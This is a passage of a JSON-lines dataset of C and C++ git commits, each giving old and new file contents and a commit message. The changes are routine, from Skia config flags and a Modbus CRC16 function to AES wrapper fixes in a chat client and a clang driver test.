milliseconds);\n}\n#endif\n","subject":"Remove texts for unserstanding to Wiki pages","message":"Remove texts for unserstanding to Wiki pages\n","lang":"C","license":"mit","repos":"miaoxw\/EmbeddedSystemNJU2017-Demo"}
{"commit":"bcb8a9fa53da3a99f9ee035e7c5407dd61853d6f","old_file":"common\/c_cpp\/src\/c\/windows\/wombat\/wUuid.h","new_file":"common\/c_cpp\/src\/c\/windows\/wombat\/wUuid.h","old_contents":"\/* $Id: wUuid.h,v 1.1.2.2 2012\/03\/20 11:15:17 emmapollock Exp $\n *\n * OpenMAMA: The open middleware agnostic messaging API\n * Copyright (C) 2011 NYSE Inc.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n * 02110-1301 USA\n *\/\n#ifndef WUUID_H__\n#define WUUID_H__\n\n#include \"wombat\/port.h\"\n\ntypedef int wUuid;\n\nCOMMONExpDLL\nvoid wUuid_generate_time (wUuid myUuid);\n\nCOMMONExpDLL\nvoid wUuid_unparse (wUuid myUuid, char* out);\n\n#endif \/* WUUID_H__ *\/\n","new_contents":"\/* $Id: wUuid.h,v 1.1.2.2 2012\/03\/20 11:15:17 emmapollock Exp $\n *\n * OpenMAMA: The open middleware agnostic messaging API\n * Copyright (C) 2011 NYSE Inc.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n * 02110-1301 USA\n *\/\n#ifndef WUUID_H__\n#define WUUID_H__\n\n#include \"wombat\/port.h\"\n\ntypedef char* wUuid;\n\nCOMMONExpDLL\nvoid wUuid_generate_time (wUuid myUuid);\n\nCOMMONExpDLL\nvoid wUuid_unparse (wUuid myUuid, char* out);\n\n#endif \/* WUUID_H__ *\/\n","subject":"Change uuid to char* from int for Windows","message":"[common] Change uuid to char* from int for Windows\n","lang":"C","license":"lgpl-2.1","repos":"MattMulhern\/OpenMAMA,cloudsmith-io\/openmama,dmaguire\/OpenMAMA,dmaguire\/OpenMAMA,dmaguire\/OpenMAMA,vulcanft\/openmama,fquinner\/OpenMAMA,fquinner\/OpenMAMA,jacobraj\/MAMA,dpauls\/OpenMAMA,dmaguire\/OpenMAMA,philippreston\/OpenMAMA,dmaguire\/OpenMAMA,philippreston\/OpenMAMA,philippreston\/OpenMAMA,jacobraj\/MAMA,cloudsmith-io\/openmama,cloudsmith-io\/openmama,fquinner\/OpenMAMA,jacobraj\/MAMA,MattMulhern\/OpenMAMA,dmagOM\/OpenMAMA-dynamic,kuangtu\/OpenMAMA,MattMulhern\/OpenMamaCassandra,MattMulhern\/OpenMamaCassandra,dpauls\/OpenMAMA,dmaguire\/OpenMAMA,philippreston\/OpenMAMA,dmagOM\/OpenMAMA-dynamic,MattMulhern\/OpenMAMA,dpauls\/OpenMAMA,dmaguire\/OpenMAMA,vulcanft\/openmama,MattMulhern\/OpenMAMA,kuangtu\/OpenMAMA,kuangtu\/OpenMAMA,MattMulhern\/OpenMamaCassandra,dpauls\/OpenMAMA,cloudsmith-io\/openmama,vulcanft\/openmama,philippreston\/OpenMAMA,MattMulhern\/OpenMAMA,cloudsmith-io\/openmama,vulcanft\/openmama,MattMulhern\/OpenMamaCassandra,kuangtu\/OpenMAMA,dpauls\/OpenMAMA,dmagOM\/OpenMAMA-dynamic,dmagOM\/OpenMAMA-dynamic,dmagOM\/OpenMAMA-dynamic,kuangtu\/OpenMAMA,fquinner\/OpenMAMA,cloudsmith-io\/openmama,vulcanft\/openmama,fquinner\/OpenMAMA,dmagOM\/OpenMAMA-dynamic,MattMulhern\/OpenMamaCassandra,fquinner\/OpenMAMA,MattMulhern\/OpenMAMA,vulcanft\/openmama,dpauls\/OpenMAMA,fquinner\/OpenMAMA,jacobraj\/MAMA,jacobraj\/MAMA,jacobraj\/MAMA,vulcanft\/openmama,cloudsmith-io\/openmama,MattMulhern\/OpenMAMA,MattMulhern\/OpenMamaCassandra,kuangtu\/OpenMAMA,kuangtu\/OpenMAMA,dpauls\/OpenMAMA,philippreston\/OpenMAMA,philippreston\/OpenMAMA"}
{"commit":"c33df657a16fbc23df2b6ec1c38060060cd3608a","old_file":"include\/config\/SkUserConfigManual.h","new_file":"include\/config\/SkUserConfigManual.h","old_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_REDUCE_OPLIST_SPLITTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Legacy flags\n  #define SK_IGNORE_GPU_DITHER\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n \n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n\n  #define SK_DISABLE_DAA  \/\/ skbug.com\/6886\n\n#endif \/\/ SkUserConfigManual_DEFINED\n","new_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_REDUCE_OPLIST_SPLITTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Legacy flags\n  #define SK_IGNORE_GPU_DITHER\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n \n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n\n  #define SK_DISABLE_DAA  \/\/ skbug.com\/6886\n\n  \/\/ b\/145995037\n  #define SK_LEGACY_WEBP_LOOP_COUNT\n\n#endif \/\/ SkUserConfigManual_DEFINED\n","subject":"Maintain the legacy behavior for WebP loop count","message":"Maintain the legacy behavior for WebP loop count\n\nBug: 145995037\nTest: No change in behavior; no new tests\n\nhttps:\/\/skia-review.googlesource.com\/c\/skia\/+\/259161 updates Skia to\nreport the proper number of repetitions for a WebP file. This build flag\nensures that we stick with the existing behavior until we're ready to\nswitch.\n\nChange-Id: Ib70615e9d7655264badcd5c63a54d2813c86bc32\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia"}
{"commit":"24ccdf6f2a0802a286416133d31364d42d18d720","old_file":"slave\/sregisters.h","new_file":"slave\/sregisters.h","old_contents":"#define _SLAVEREGISTERS\n\n#include <inttypes.h>\n\n\/\/Functions needed from other modules\nextern void MODBUSBuildException( uint8_t, uint8_t );\n\n\/\/Functions for parsing requests\nextern void MODBUSParseRequest03( union MODBUSParser *Parser );\nextern void MODBUSParseRequest06( union MODBUSParser *Parser );\nextern void MODBUSParseRequest16( union MODBUSParser *Parser );\n","new_contents":"#define _SLAVEREGISTERS\n\n#include <inttypes.h>\n\n\/\/Functions needed from other modules\nextern void MODBUSBuildException( uint8_t, uint8_t );\n\n\/\/Functions for parsing requests\nextern void MODBUSParseRequest03( union MODBUSParser *Parser );\nextern void MODBUSParseRequest06( union MODBUSParser *Parser );\nextern void MODBUSParseRequest16( union MODBUSParser *Parser );\n\n\/\/Functions for building responses\nextern void MODBUSBuildResponse03( union MODBUSParser *Parser );\nextern void MODBUSBuildResponse06( union MODBUSParser *Parser );\nextern void MODBUSBuildResponse16( union MODBUSParser *Parser );\n","subject":"Add prototypes of response-building functions","message":"Add prototypes of response-building functions\n","lang":"C","license":"mit","repos":"Jacajack\/modlib"}
{"commit":"a57adb1ba137c47d7ebaef9f64e265fcf653debe","old_file":"include\/config.h","new_file":"include\/config.h","old_contents":"\/*************************************************\n* Configuration Handling Header File             *\n* (C) 1999-2007 Jack Lloyd                       *\n*************************************************\/\n\n#ifndef BOTAN_POLICY_CONF_H__\n#define BOTAN_POLICY_CONF_H__\n\n#include <botan\/mutex.h>\n#include <string>\n#include <vector>\n#include <map>\n\nnamespace Botan {\n\n\/*************************************************\n* Library Configuration Settings                 *\n*************************************************\/\nclass BOTAN_DLL Config\n   {\n   public:\n      Config();\n      ~Config();\n\n      void load_defaults();\n\n      std::string get(const std::string&, const std::string&) const;\n      bool is_set(const std::string&, const std::string&) const;\n      void set(const std::string&, const std::string&,\n               const std::string&, bool = true);\n\n      std::string option(const std::string&) const;\n      u32bit option_as_time(const std::string&) const;\n\n      void set_option(const std::string, const std::string&);\n\n      void add_alias(const std::string&, const std::string&);\n      std::string deref_alias(const std::string&) const;\n\n      void load_inifile(const std::string&);\n   private:\n      Config(const Config&) {}\n      Config& operator=(const Config&) { return (*this); }\n\n      std::map<std::string, std::string> settings;\n      Mutex* mutex;\n   };\n\n\/*************************************************\n* Hook for the global config                     *\n*************************************************\/\nBOTAN_DLL Config& global_config();\n\n}\n\n#endif\n","new_contents":"\/*************************************************\n* Configuration Handling Header File             *\n* (C) 1999-2008 Jack Lloyd                       *\n*************************************************\/\n\n#ifndef BOTAN_POLICY_CONF_H__\n#define BOTAN_POLICY_CONF_H__\n\n#include <botan\/mutex.h>\n#include <string>\n#include <map>\n\nnamespace Botan {\n\n\/*************************************************\n* Library Configuration Settings                 *\n*************************************************\/\nclass BOTAN_DLL Config\n   {\n   public:\n      Config();\n      ~Config();\n\n      void load_defaults();\n\n      std::string get(const std::string&, const std::string&) const;\n      bool is_set(const std::string&, const std::string&) const;\n      void set(const std::string&, const std::string&,\n               const std::string&, bool = true);\n\n      std::string option(const std::string&) const;\n      u32bit option_as_time(const std::string&) const;\n\n      void set_option(const std::string, const std::string&);\n\n      void add_alias(const std::string&, const std::string&);\n      std::string deref_alias(const std::string&) const;\n\n      void load_inifile(const std::string&);\n   private:\n      Config(const Config&) {}\n      Config& operator=(const Config&) { return (*this); }\n\n      std::map<std::string, std::string> settings;\n      Mutex* mutex;\n   };\n\n\/*************************************************\n* Hook for the global config                     *\n*************************************************\/\nBOTAN_DLL Config& global_config();\n\n}\n\n#endif\n","subject":"Remove unused include of <vector>","message":"Remove unused include of <vector>\n","lang":"C","license":"bsd-2-clause","repos":"randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,webmaster128\/botan,webmaster128\/botan,randombit\/botan,webmaster128\/botan"}
{"commit":"1ab12bed7f1c38c280876197408bd32e289ac41f","old_file":"modlib.c","new_file":"modlib.c","old_contents":"#include \"modlib.h\"\n\nuint16_t MODBUSSwapEndian( uint16_t Data )\n{\n    \/\/Change big-endian to little-endian and vice versa\n\n    unsigned char Swap;\n\n\t\/\/Create 2 bytes long union\n    union Conversion\n    {\n        uint16_t Data;\n        unsigned char Bytes[2];\n    } Conversion;\n\n\t\/\/Swap bytes\n    Conversion.Data = Data;\n    Swap = Conversion.Bytes[0];\n    Conversion.Bytes[0] = Conversion.Bytes[1];\n    Conversion.Bytes[1] = Swap;\n\n    return Conversion.Data;\n}\n","new_contents":"#include \"modlib.h\"\n\nuint16_t MODBUSSwapEndian( uint16_t Data )\n{\n    \/\/Change big-endian to little-endian and vice versa\n\n    unsigned char Swap;\n\n\t\/\/Create 2 bytes long union\n    union Conversion\n    {\n        uint16_t Data;\n        unsigned char Bytes[2];\n    } Conversion;\n\n\t\/\/Swap bytes\n    Conversion.Data = Data;\n    Swap = Conversion.Bytes[0];\n    Conversion.Bytes[0] = Conversion.Bytes[1];\n    Conversion.Bytes[1] = Swap;\n\n    return Conversion.Data;\n}\n\nuint16_t CRC16( uint16_t *Data, uint16_t Length )\n{\n\t\/\/Calculate CRC16 checksum using given data and length\n\n\tuint16_t CRC = 0xFFFF;\n\tuint16_t i;\n\tunsigned char j;\n\n\tfor ( i = 0; i < Length; i++ )\n\t{\n\t\tCRC ^= Data[i]; \/\/XOR current data byte with CRC value\n\n\t\tfor ( j = 8; j != 0; j-- )\n\t\t{\n\t\t\t\/\/For each bit\n\t\t\t\/\/Is least-significant-bit is set?\n    \t\tif ( ( CRC & 0x0001 ) != 0 )\n\t\t\t{\n    \t\t\tCRC >>= 1; \/\/Shift to right and xor\n    \t\t\tCRC ^= 0xA001;\n    \t\t}\n    \t\telse                            \/\/ Else LSB is not set\n    \t\t\tCRC >>= 1;\n\t\t}\n\t}\n\treturn CRC;\n}\n","subject":"Add CRC16 checksum calculation function","message":"Add CRC16 checksum calculation function\n","lang":"C","license":"mit","repos":"Jacajack\/modlib"}
{"commit":"d4ea2ac1a1bbf61ed190ac9b6e78d6be4ce687f6","old_file":"src\/utils.h","new_file":"src\/utils.h","old_contents":"#ifndef _INC_UTILS_H\n#define _INC_UTILS_H\n\n#include \"basetypes.h\"\n\nvoid *advancePtr(void *vp, SizeType len) {\n    return (void*)((unsigned char *)(vp) + len);\n}\n\nconst void *advancePtr(const void *vp, SizeType len) {\n    return (void*)((unsigned char *)(vp) + len);\n}\n\n#endif\/\/_INC_UTILS_H","new_contents":"#ifndef _INC_UTILS_H\n#define _INC_UTILS_H\n\n#include \"basetypes.h\"\n\ninline void *advancePtr(void *vp, SizeType len) {\n    return (void*)((unsigned char *)(vp) + len);\n}\n\ninline const void *advancePtr(const void *vp, SizeType len) {\n    return (void*)((unsigned char *)(vp) + len);\n}\n\n#endif\/\/_INC_UTILS_H","subject":"Fix header methods to be inline","message":"Fix header methods to be inline\n","lang":"C","license":"mit","repos":"aroxby\/cpu,aroxby\/cpu"}
{"commit":"0b78dce3a2bd416375327b1e4436883da673009e","old_file":"test2\/type_parsing_printing\/typeof_skip.c","new_file":"test2\/type_parsing_printing\/typeof_skip.c","old_contents":"\/\/ RUN: %ucc -Xprint %s 2>\/dev\/null | grep 'typeof' | %output_check -w \"\/typeof\\(int \\*\\) ip.*\/\" \"\/typeof\\(int \\*\\) \\*a1.*\/\" \"\/typeof\\(int \\*\\) a2\\[2\\].*\/\" \"\/typeof\\(int \\*\\) a3\\(\\).*\/\" \"typeof(expr: identifier) (aka 'long *') xyz()\"\n\nlong *x;\n\n__typeof(int *) ip;\n\n__typeof(int *) *a1;\n__typeof(int *) a2[2];\n__typeof(int *) a3();\n\n__typeof(x) xyz()\n{\n}\n","new_contents":"\/\/ RUN: %ucc -Xprint %s 2>\/dev\/null | grep 'typeof' | %output_check -w \"\/typeof\\(int \\*\\) ip.*\/\" \"\/typeof\\(int \\*\\) \\*a1.*\/\" \"\/typeof\\(int \\*\\) a2\\[2\\].*\/\" \"\/typeof\\(int \\*\\) a3\\(\\).*\/\" \"typeof(expr: identifier) (aka 'long *') abc()\" \"typeof(expr: identifier) (aka 'long *') xyz()\"\n\nlong *x;\n\n__typeof(int *) ip;\n\n__typeof(int *) *a1;\n__typeof(int *) a2[2];\n__typeof(int *) a3();\n\nauto abc() -> __typeof(x)\n{\n}\n\n__typeof(x) xyz()\n{\n}\n","subject":"Add trailing return type to type printing test","message":"Add trailing return type to type printing test\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
{"commit":"d7dcfd3383fe903697b6aac817df17426de2f5a7","old_file":"cbits\/hashByteString.c","new_file":"cbits\/hashByteString.c","old_contents":"\/* Bernstein's hash *\/\nint djb_hash(const char* str, int len, int hash) {\n\n  while (len--) {\n    hash = (hash * 33) ^ *str++;\n  }\n\n  return hash;\n}\n","new_contents":"\/* Bernstein's hash *\/\nint djb_hash(const unsigned char* str, int len, int hash) {\n\n  while (len--) {\n    hash = (hash * 33) ^ *str++;\n  }\n\n  return hash;\n}\n","subject":"Fix the handling of signedness, which caused a nasty bug","message":"Fix the handling of signedness, which caused a nasty bug\n","lang":"C","license":"bsd-3-clause","repos":"ekmett\/hashable"}
{"commit":"fa52b947edea97d14f48e656125c7d640d748e85","old_file":"cbits\/hashByteString.c","new_file":"cbits\/hashByteString.c","old_contents":"int hashByteString(const char* str, int len) {\n  int hash = 0;\n\n  while (len--) {\n    hash = (hash * 33) ^ *str++;\n  }\n\n  return hash;\n}\n","new_contents":"\/* Bernstein's hash *\/\nint hashByteString(const char* str, int len) {\n  int hash = 0;\n\n  while (len--) {\n    hash = (hash * 33) ^ *str++;\n  }\n\n  return hash;\n}\n","subject":"Document where our hash function comes from","message":"Document where our hash function comes from\n","lang":"C","license":"bsd-3-clause","repos":"ekmett\/hashable"}
{"commit":"e7a73040132035225ee11a735afb54c3590f7648","old_file":"lib\/journal.h","new_file":"lib\/journal.h","old_contents":"\/* libcopy -- journal support\n * (c) 2011 Michał Górny\n * 2-clause BSD-licensed\n *\/\n\n#pragma once\n#ifndef _ATOMIC_INSTALL_JOURNAL_H\n#define _ATOMIC_INSTALL_JOURNAL_H\n\ntypedef struct ai_journal *journal_t;\n\nint ai_journal_create(const char *journal_path, const char *location);\n\nint ai_journal_open(const char *journal_path, journal_t *ret);\nint ai_journal_close(journal_t j);\n\nconst char *ai_journal_get_files(journal_t j);\n\n#endif \/*_ATOMIC_INSTALL_COPY_H*\/\n","new_contents":"\/* libcopy -- journal support\n * (c) 2011 Michał Górny\n * 2-clause BSD-licensed\n *\/\n\n#pragma once\n#ifndef _ATOMIC_INSTALL_JOURNAL_H\n#define _ATOMIC_INSTALL_JOURNAL_H\n\ntypedef struct ai_journal *journal_t;\n\nint ai_journal_create(const char *journal_path, const char *location);\n\nint ai_journal_open(const char *journal_path, journal_t *ret);\nint ai_journal_close(journal_t j);\n\nconst char *ai_journal_get_files(journal_t j);\n\n#endif \/*_ATOMIC_INSTALL_JOURNAL_H*\/\n","subject":"Fix comment in header guard.","message":"Fix comment in header guard.\n","lang":"C","license":"bsd-2-clause","repos":"mgorny\/atomic-install"}
{"commit":"0bc5dac3db25de42dfd86cfd7c3e4cc33587d8f3","old_file":"src\/client\/crypt.c","new_file":"src\/client\/crypt.c","old_contents":"#include <openssl\/aes.h>\n#include <openssl\/rand.h>\n#include <stdio.h>\n#include <string.h>\n\n#include \"crypt.h\"\n\ntypedef unsigned char aes_t;\n\nvoid generate_bytes(aes_t *buf) {\n    if (!RAND_bytes(buf, sizeof(buf))) {\n        fprintf(stderr, \"[!] Could not generate key\");\n    }\n}\n\naes_t *encrypt(char *plaintext, aes_t *key, aes_t *iv) {\n    aes_t *ciphertext = (aes_t *) malloc(BUFFER_SIZE);\n    AES_KEY wctx;\n    AES_set_encrypt_key(key, KEY_SIZE * 8, &wctx);\n    AES_cbc_encrypt((aes_t *)plaintext, ciphertext, sizeof(ciphertext), &wctx, iv, AES_ENCRYPT);\n    memset(iv, 0x00, AES_BLOCK_SIZE);\n    return ciphertext;\n}\n\nchar *decrypt(aes_t *ciphertext, aes_t *key, aes_t *iv) {\n    aes_t *plaintext = (aes_t *) malloc(BUFFER_SIZE);\n    AES_KEY wctx;\n    AES_set_decrypt_key(key, KEY_SIZE * 8, &wctx);\n    AES_cbc_encrypt(ciphertext, plaintext, sizeof(plaintext), &wctx, iv, AES_DECRYPT);\n    memset(iv, 0x00, AES_BLOCK_SIZE);\n    return (char *) plaintext;\n}\n","new_contents":"#include <openssl\/aes.h>\n#include <openssl\/rand.h>\n#include <stdio.h>\n#include <string.h>\n\n#include \"crypt.h\"\n\ntypedef unsigned char aes_t;\n\nvoid generate_bytes(aes_t *buf) {\n    if (!RAND_bytes(buf, sizeof(buf))) {\n        fprintf(stderr, \"[!] Could not generate key\");\n    }\n}\n\naes_t *encrypt(char *plaintext, aes_t *key, aes_t *iv) {\n    aes_t *ciphertext = (aes_t *) malloc(BUFFER_SIZE);\n    AES_KEY wctx;\n    AES_set_encrypt_key(key, KEY_SIZE * 8, &wctx);\n    AES_cbc_encrypt((aes_t *)plaintext, ciphertext, strlen(plaintext), &wctx, iv, AES_ENCRYPT);\n    memset(iv, 0x00, AES_BLOCK_SIZE);\n    return ciphertext;\n}\n\nchar *decrypt(aes_t *ciphertext, aes_t *key, aes_t *iv) {\n    aes_t *plaintext = (aes_t *) malloc(BUFFER_SIZE);\n    AES_KEY wctx;\n    AES_set_decrypt_key(key, KEY_SIZE * 8, &wctx);\n    AES_cbc_encrypt(ciphertext, plaintext, strlen((char *)ciphertext), &wctx, iv, AES_DECRYPT);\n    memset(iv, 0x00, AES_BLOCK_SIZE);\n    return (char *) plaintext;\n}\n","subject":"Use strlen instead of sizeof","message":"Use strlen instead of sizeof\n","lang":"C","license":"mit","repos":"ThisIsMyNick\/CChat,ThisIsMyNick\/CChat"}
{"commit":"9aa854c9ff8be24d6d16404b591f9a5b2e2e5237","old_file":"priv\/qfappscriptdispatcherwrapper.h","new_file":"priv\/qfappscriptdispatcherwrapper.h","old_contents":"#ifndef QFAPPSCRIPTDISPATCHERWRAPPER_H\n#define QFAPPSCRIPTDISPATCHERWRAPPER_H\n\n#include <QQuickItem>\n#include <QPointer>\n#include \"qfappdispatcher.h\"\n\nclass QFAppScriptDispatcherWrapper : public QQuickItem\n{\n    Q_OBJECT\npublic:\n    QFAppScriptDispatcherWrapper();\n\n    QString type() const;\n    void setType(const QString &type);\n\n    QFAppDispatcher *dispatcher() const;\n    void setDispatcher(QFAppDispatcher *dispatcher);\n\npublic slots:\n    void dispatch(QJSValue arguments);\n\nprivate:\n    QString m_type;\n    QPointer<QFAppDispatcher> m_dispatcher;\n\n};\n\n#endif \/\/ QFAPPSCRIPTDISPATCHERWRAPPER_H\n","new_contents":"#ifndef QFAPPSCRIPTDISPATCHERWRAPPER_H\n#define QFAPPSCRIPTDISPATCHERWRAPPER_H\n\n#include <QQuickItem>\n#include <QPointer>\n#include \"qfappdispatcher.h\"\n\nclass QFAppScriptDispatcherWrapper : public QObject\n{\n    Q_OBJECT\npublic:\n    QFAppScriptDispatcherWrapper();\n\n    QString type() const;\n    void setType(const QString &type);\n\n    QFAppDispatcher *dispatcher() const;\n    void setDispatcher(QFAppDispatcher *dispatcher);\n\npublic slots:\n    void dispatch(QJSValue arguments);\n\nprivate:\n    QString m_type;\n    QPointer<QFAppDispatcher> m_dispatcher;\n\n};\n\n#endif \/\/ QFAPPSCRIPTDISPATCHERWRAPPER_H\n","subject":"Change parent of QFAppScriptDispatcherWrapper from QQuickItem to QObject","message":"Change parent of QFAppScriptDispatcherWrapper from QQuickItem to QObject\n","lang":"C","license":"apache-2.0","repos":"benlau\/quickflux,benlau\/quickflux"}
{"commit":"6f5ad61c73d1a214864716d55dddbf723fe1b3bc","old_file":"src\/test\/for_all.c","new_file":"src\/test\/for_all.c","old_contents":"","new_contents":"int sum = 0;\n\nvoid test_sum(){\n    if(sum == 45)\n        printf(\"Ok!\\n\");\n    else\n        printf(\"Wrong!\\n\");\n    sum = 0;\n}\n\nint main(){ \n    int x;\n    \n    for(int x; x < 10; x++)\n        sum += x;\n        \n    test_sum();\n\n    for(x = 0; x < 10; x++)\n        sum += x;\n        \n    test_sum();\n\n    x = 0;\n    for(;x < 10; x++)\n        sum += x;\n        \n    test_sum();\n\n    x = 0;\n    for(;; x++){\n        if( x >= 10) break;\n        sum += x;\n    }\n        \n    test_sum();\n\n    x = 0;\n    for(;;){\n        if( x >= 10) break;\n        sum += x;\n        x++;\n    }\n        \n    test_sum();\n    \n    x = 0;\n    for(;x < 10;){\n        sum += x;\n        x++;\n    }\n        \n    test_sum();\n\n    sum = 0;\n\n    for(int x = 0;;x++){\n        if( x >= 10) break;\n        sum += x;\n    }\n        \n    test_sum();\n\n    for(x = 0;;x++){\n        if( x >= 10) break;\n        sum += x;\n    }\n        \n    test_sum();\n\n    sum = 0;\n\n    for(int x = 0;x < 10;){\n        sum += x;\n        x++;\n    }\n        \n    test_sum();\n\n    sum = 0;\n\n    for(x = 0;x < 10;){\n        sum += x;\n        x++;\n    }\n        \n    test_sum();\n\n    for(int x;;){\n        if( x >= 10) break;\n        sum += x;\n        x++;\n    }\n        \n    test_sum();\n\n    for(x = 0;;){\n        if( x >= 10) break;\n        sum += x;\n        x++;\n    }\n        \n    test_sum();\n        \n    return 0;\n}\n","subject":"Add file testing all forms of for loop","message":"Add file testing all forms of for loop\n","lang":"C","license":"mit","repos":"Sibert-Aerts\/c2p,Sibert-Aerts\/c2p,Sibert-Aerts\/c2p"}
{"commit":"1505139f741e601408dc4aaddf8e352d28085f00","old_file":"test\/Driver\/offloading-interoperability.c","new_file":"test\/Driver\/offloading-interoperability.c","old_contents":"\/\/ REQUIRES: clang-driver\n\/\/ REQUIRES: powerpc-registered-target\n\/\/ REQUIRES: nvptx-registered-target\n\n\/\/\n\/\/ Verify that CUDA device commands do not get OpenMP flags.\n\/\/\n\/\/ RUN: %clang -no-canonical-prefixes -### -x cuda -target powerpc64le-linux-gnu -std=c++11 --cuda-gpu-arch=sm_35 -fopenmp=libomp %s 2>&1 \\\n\/\/ RUN: | FileCheck %s --check-prefix NO-OPENMP-FLAGS-FOR-CUDA-DEVICE\n\/\/\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE:      clang{{.*}}\" \"-cc1\" \"-triple\" \"nvptx64-nvidia-cuda\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NOT:  -fopenmp\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ptxas\" \"-m64\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: fatbinary\" \"--cuda\" \"-64\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: clang{{.*}}\" \"-cc1\" \"-triple\" \"powerpc64le--linux-gnu\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE:      -fopenmp\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ld\" {{.*}}\"-m\" \"elf64lppc\"\n","new_contents":"\/\/ REQUIRES: clang-driver\n\/\/ REQUIRES: powerpc-registered-target\n\/\/ REQUIRES: nvptx-registered-target\n\n\/\/\n\/\/ Verify that CUDA device commands do not get OpenMP flags.\n\/\/\n\/\/ RUN: %clang -no-canonical-prefixes -### -x cuda -target powerpc64le-linux-gnu -std=c++11 --cuda-gpu-arch=sm_35 -fopenmp=libomp %s 2>&1 \\\n\/\/ RUN: | FileCheck %s --check-prefix NO-OPENMP-FLAGS-FOR-CUDA-DEVICE\n\/\/\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE:      clang{{.*}}\" \"-cc1\" \"-triple\" \"nvptx64-nvidia-cuda\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NOT:  -fopenmp\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ptxas\" \"-m64\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: fatbinary\" \"--cuda\" \"-64\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: clang{{.*}}\" \"-cc1\" \"-triple\" \"powerpc64le--linux-gnu\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE:      -fopenmp\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: {{ld(.exe)?\"}} {{.*}}\"-m\" \"elf64lppc\"\n","subject":"Allow .exe extension to ld to fix test with mingw.","message":"Allow .exe 